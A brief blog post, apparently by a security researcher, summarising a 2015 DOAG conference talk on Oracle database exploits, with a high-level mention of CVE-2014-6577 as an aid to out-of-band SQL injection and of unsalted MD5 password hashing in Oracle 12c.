DOAG 2015: Best of Oracle Security 2015

Donnerstag, November 19th, 2015

Yesterday I gave my yearly presentation “Best of Oracle Security 2015” at the DOAG 2015 conference in Nürnberg. In this presentation I showed different Oracle exploits I found/modified released in 2015 in various sources.

One of the most interesting Oracle bugs in 2015 was CVE-2014-6577 (found by Trustwave, affecting 11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.02, fixed in April 2015 CPU). This bug can be used as helper function in Out-of-band-SQL Injection attacks. Since Oracle 11g the way via utl_http/httpuritype was closed using the ACLs. This exploit opens the possibility in 11g/12g again (if patches are not applied).

Details about a critical design flaw (using unsalted MD5 as 12c password hash) in Oracle 12c will be published in another blog entry.
